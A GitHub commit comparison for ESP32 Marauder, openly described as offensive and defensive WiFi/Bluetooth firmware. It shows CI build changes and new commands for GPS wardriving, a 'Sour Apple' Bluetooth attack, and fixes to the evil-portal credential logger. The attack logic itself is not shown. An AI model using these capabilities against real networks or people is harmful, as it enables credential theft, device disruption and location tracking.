mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-19 10:52:25 -08:00
Compare commits
23 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
370b2aa6c5 | ||
|
|
5f01e3030b | ||
|
|
33b5a6481c | ||
|
|
06e6cdb8cd | ||
|
|
5f53e32f8e | ||
|
|
1d6ff6f911 | ||
|
|
ad6addf3df | ||
|
|
c788ad6681 | ||
|
|
06ede5272d | ||
|
|
b8620e1bd3 | ||
|
|
18ca6160e5 | ||
|
|
bbe9eead7e | ||
|
|
971487eefb | ||
|
|
9158083889 | ||
|
|
f0bf1f4b7f | ||
|
|
388ef30acd | ||
|
|
7eb7ae4a0d | ||
|
|
10fce15bb9 | ||
|
|
32c118b0d5 | ||
|
|
c370dfa996 | ||
|
|
7669a7447f | ||
|
|
7049e1101f | ||
|
|
c0864af4db |
97
.github/workflows/build_push.yml
vendored
97
.github/workflows/build_push.yml
vendored
@@ -72,13 +72,6 @@ jobs:
|
||||
ref: 2.2.23
|
||||
path: CustomTFT_eSPI
|
||||
|
||||
- name: Install LinkedList
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ivanseidel/LinkedList
|
||||
ref: v1.3.1
|
||||
path: CustomLinkedList
|
||||
|
||||
- name: Install lv_arduino
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
@@ -121,6 +114,20 @@ jobs:
|
||||
ref: main
|
||||
path: CustomSwitchLib
|
||||
|
||||
- name: Install LinkedList
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ivanseidel/LinkedList
|
||||
ref: v1.3.3
|
||||
path: CustomLinkedList
|
||||
|
||||
- name: Install EspSoftwareSerial
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: plerup/espsoftwareserial
|
||||
ref: 8.1.0
|
||||
path: CustomEspSoftwareSerial
|
||||
|
||||
#- name: Search for SD lib in arduino-esp32 v2.0.4
|
||||
# run: |
|
||||
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
|
||||
@@ -174,6 +181,18 @@ jobs:
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||
done
|
||||
|
||||
- name: Configure configs.h for Flipper Zero WiFi Dev Board
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_FLIPPER/ #define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Flipper Zero WiFi Dev Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
@@ -226,6 +245,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V4/ #define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -250,6 +270,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V6/ #define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -284,6 +305,29 @@ jobs:
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder v6.1
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V6_1/ #define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for v6.1 Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename v6 Marauder bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder Kit
|
||||
run: |
|
||||
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
@@ -291,6 +335,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -315,6 +360,7 @@ jobs:
|
||||
sed -i 's/^ \/\/#define MARAUDER_MINI/ #define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -337,6 +383,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -359,6 +406,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -385,6 +433,7 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
@@ -442,12 +491,12 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
retention-days: 5
|
||||
|
||||
#- name: 'Upload v6_2 Artifact'
|
||||
# uses: actions/upload-artifact@v3
|
||||
# with:
|
||||
# name: esp32_marauder.v6_2.bin
|
||||
# path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
|
||||
# retention-days: 5
|
||||
- name: 'Upload v6_1 Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.v6_1.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Kit Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
@@ -556,17 +605,17 @@ jobs:
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
#- name: Upload v6_2 Asset
|
||||
# id: upload-v6-2-release-asset
|
||||
# uses: actions/upload-release-asset@v1
|
||||
# env:
|
||||
# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
# with:
|
||||
# upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
# asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
|
||||
# asset_name: esp32_marauder.v6_2.bin
|
||||
# asset_content_type: application/bin
|
||||
# if: github.event_name != 'pull_request'
|
||||
- name: Upload v6_1 Asset
|
||||
id: upload-v6-1-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
asset_name: esp32_marauder.v6_1.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Kit Asset
|
||||
id: upload-kit-release-asset
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
||||
<!---Shields/Badges https://shields.io/--->
|
||||
|
||||
# ESP32 Marauder v0.11.1
|
||||
# ESP32 Marauder v0.13.0
|
||||
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
||||
<p align="center">
|
||||
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
||||
|
||||
@@ -216,6 +216,7 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_LS_CMD);
|
||||
Serial.println(HELP_LED_CMD);
|
||||
Serial.println(HELP_GPS_DATA_CMD);
|
||||
Serial.println(HELP_GPS_CMD);
|
||||
|
||||
// WiFi sniff/scan
|
||||
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||
@@ -230,6 +231,9 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_SNIFF_DEAUTH_CMD);
|
||||
Serial.println(HELP_SNIFF_PMKID_CMD);
|
||||
Serial.println(HELP_STOPSCAN_CMD);
|
||||
#ifdef HAS_GPS
|
||||
Serial.println(HELP_WARDRIVE_CMD);
|
||||
#endif
|
||||
|
||||
// WiFi attack
|
||||
Serial.println(HELP_ATTACK_CMD);
|
||||
@@ -243,8 +247,14 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_SSID_CMD_B);
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
Serial.println(HELP_BT_SNIFF_CMD);
|
||||
Serial.println(HELP_BT_SKIM_CMD);
|
||||
#ifdef HAS_BT
|
||||
Serial.println(HELP_BT_SNIFF_CMD);
|
||||
Serial.println(HELP_BT_SOUR_APPLE_CMD);
|
||||
#ifdef HAS_GPS
|
||||
Serial.println(HELP_BT_WARDRIVE_CMD);
|
||||
#endif
|
||||
Serial.println(HELP_BT_SKIM_CMD);
|
||||
#endif
|
||||
Serial.println(HELP_FOOT);
|
||||
return;
|
||||
}
|
||||
@@ -283,6 +293,32 @@ void CommandLine::runCommand(String input) {
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == GPS_CMD) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int get_arg = this->argSearch(&cmd_args, "-g");
|
||||
|
||||
if (get_arg != -1) {
|
||||
String gps_info = cmd_args.get(get_arg + 1);
|
||||
|
||||
if (gps_info == "fix")
|
||||
Serial.println("Fix: " + gps_obj.getFixStatusAsString());
|
||||
else if (gps_info == "sat")
|
||||
Serial.println("Sats: " + gps_obj.getNumSatsString());
|
||||
else if (gps_info == "lat")
|
||||
Serial.println("Lat: " + gps_obj.getLat());
|
||||
else if (gps_info == "lon")
|
||||
Serial.println("Lon: " + gps_obj.getLon());
|
||||
else if (gps_info == "alt")
|
||||
Serial.println("Alt: " + (String)gps_obj.getAlt());
|
||||
else if (gps_info == "date")
|
||||
Serial.println("Date/Time: " + gps_obj.getDatetime());
|
||||
else
|
||||
Serial.println("You did not provide a valid argument");
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
// LED command
|
||||
else if (cmd_args.get(0) == LED_CMD) {
|
||||
int hex_arg = this->argSearch(&cmd_args, "-s");
|
||||
@@ -415,6 +451,34 @@ void CommandLine::runCommand(String input) {
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
||||
}
|
||||
// Wardrive
|
||||
else if (cmd_args.get(0) == WARDRIVE_CMD) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int sta_sw = this->argSearch(&cmd_args, "-s");
|
||||
|
||||
if (sta_sw == -1) {
|
||||
Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
else {Serial.println("Starting Station Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
}
|
||||
else
|
||||
Serial.println("GPS Module not detected");
|
||||
#else
|
||||
Serial.println("GPS not supported");
|
||||
#endif
|
||||
}
|
||||
// AP Scan
|
||||
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
|
||||
int cmd_sw = this->argSearch(&cmd_args, "-c");
|
||||
@@ -708,6 +772,51 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
// Wardrive
|
||||
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int cont_sw = this->argSearch(&cmd_args, "-c");
|
||||
|
||||
if (cont_sw == -1) {
|
||||
Serial.println("Starting BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
else {Serial.println("Starting Continuous BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
|
||||
}
|
||||
}
|
||||
else
|
||||
Serial.println("GPS Module not detected");
|
||||
#else
|
||||
Serial.println("GPS not supported");
|
||||
#endif
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
|
||||
}
|
||||
// Bluetooth CC Skimmer scan
|
||||
else if (cmd_args.get(0) == BT_SKIM_CMD) {
|
||||
#ifdef HAS_BT
|
||||
|
||||
@@ -46,6 +46,7 @@ const char PROGMEM SETTINGS_CMD[] = "settings";
|
||||
const char PROGMEM LS_CMD[] = "ls";
|
||||
const char PROGMEM LED_CMD[] = "led";
|
||||
const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
|
||||
const char PROGMEM GPS_CMD[] = "gps";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
|
||||
@@ -60,6 +61,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
|
||||
const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
|
||||
const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
|
||||
const char PROGMEM STOPSCAN_CMD[] = "stopscan";
|
||||
const char PROGMEM WARDRIVE_CMD[] = "wardrive";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM ATTACK_CMD[] = "attack";
|
||||
@@ -75,6 +77,8 @@ const char PROGMEM SSID_CMD[] = "ssid";
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
|
||||
const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
|
||||
const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
|
||||
|
||||
|
||||
@@ -89,6 +93,7 @@ const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>
|
||||
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
|
||||
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
|
||||
const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
|
||||
const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
|
||||
@@ -103,6 +108,7 @@ const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
|
||||
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
|
||||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
|
||||
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
|
||||
const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
|
||||
@@ -117,6 +123,8 @@ const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
|
||||
const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
|
||||
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
|
||||
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
|
||||
const char PROGMEM HELP_FOOT[] = "==================================";
|
||||
|
||||
|
||||
@@ -264,9 +264,12 @@ void EvilPortal::addLog(String log, int len) {
|
||||
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.addPacket(logBuffer, logLength, true);
|
||||
delete[] logBuffer;
|
||||
#elif defined(HAS_SD)
|
||||
sd_obj.addPacket(logBuffer, logLength, true);
|
||||
delete[] logBuffer;
|
||||
#else
|
||||
delete[] logBuffer;
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -93,7 +93,6 @@ class EvilPortal {
|
||||
void setupServer();
|
||||
void startPortal();
|
||||
void startAP();
|
||||
void addLog(String log, int len);
|
||||
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
|
||||
void sendToDisplay(String msg);
|
||||
|
||||
@@ -102,6 +101,7 @@ class EvilPortal {
|
||||
|
||||
String get_user_name();
|
||||
String get_password();
|
||||
void addLog(String log, int len);
|
||||
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void main(uint8_t scan_mode);
|
||||
|
||||
|
||||
@@ -6,11 +6,19 @@ char nmeaBuffer[100];
|
||||
|
||||
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
|
||||
|
||||
HardwareSerial Serial2(GPS_SERIAL_INDEX);
|
||||
#ifndef GPS_SOFTWARE_SERIAL
|
||||
HardwareSerial Serial2(GPS_SERIAL_INDEX);
|
||||
#else
|
||||
EspSoftwareSerial::UART Serial2;
|
||||
#endif
|
||||
|
||||
void GpsInterface::begin() {
|
||||
|
||||
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
|
||||
#ifndef GPS_SOFTWARE_SERIAL
|
||||
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
|
||||
#else
|
||||
Serial2.begin(9600, SWSERIAL_8N1, GPS_TX, GPS_RX);
|
||||
#endif
|
||||
|
||||
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
|
||||
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
|
||||
@@ -61,9 +69,15 @@ void GpsInterface::setGPSInfo() {
|
||||
}
|
||||
this->altf = (float)alt / 1000;
|
||||
|
||||
this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
|
||||
|
||||
//nmea.clear();
|
||||
}
|
||||
|
||||
float GpsInterface::getAccuracy() {
|
||||
return this->accuracy;
|
||||
}
|
||||
|
||||
String GpsInterface::getLat() {
|
||||
return this->lat;
|
||||
}
|
||||
@@ -88,6 +102,13 @@ bool GpsInterface::getFixStatus() {
|
||||
return this->good_fix;
|
||||
}
|
||||
|
||||
String GpsInterface::getFixStatusAsString() {
|
||||
if (this->getFixStatus())
|
||||
return "Yes";
|
||||
else
|
||||
return "No";
|
||||
}
|
||||
|
||||
bool GpsInterface::getGpsModuleStatus() {
|
||||
return this->gps_enabled;
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#define GpsInterface_h
|
||||
|
||||
#include <MicroNMEA.h>
|
||||
#include <SoftwareSerial.h>
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
@@ -12,10 +13,12 @@ class GpsInterface {
|
||||
|
||||
String getNumSatsString();
|
||||
bool getFixStatus();
|
||||
String getFixStatusAsString();
|
||||
bool getGpsModuleStatus();
|
||||
String getLat();
|
||||
String getLon();
|
||||
float getAlt();
|
||||
float getAccuracy();
|
||||
String getDatetime();
|
||||
|
||||
private:
|
||||
@@ -23,6 +26,7 @@ class GpsInterface {
|
||||
String lat = "";
|
||||
String lon = "";
|
||||
float altf = 0.0;
|
||||
float accuracy = 0.0;
|
||||
String datetime = "";
|
||||
|
||||
bool gps_enabled = false;
|
||||
|
||||
@@ -471,9 +471,11 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
{
|
||||
// Stop the current scan
|
||||
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
@@ -492,6 +494,9 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
|
||||
{
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||
@@ -523,9 +528,11 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
{
|
||||
// Stop the current scan
|
||||
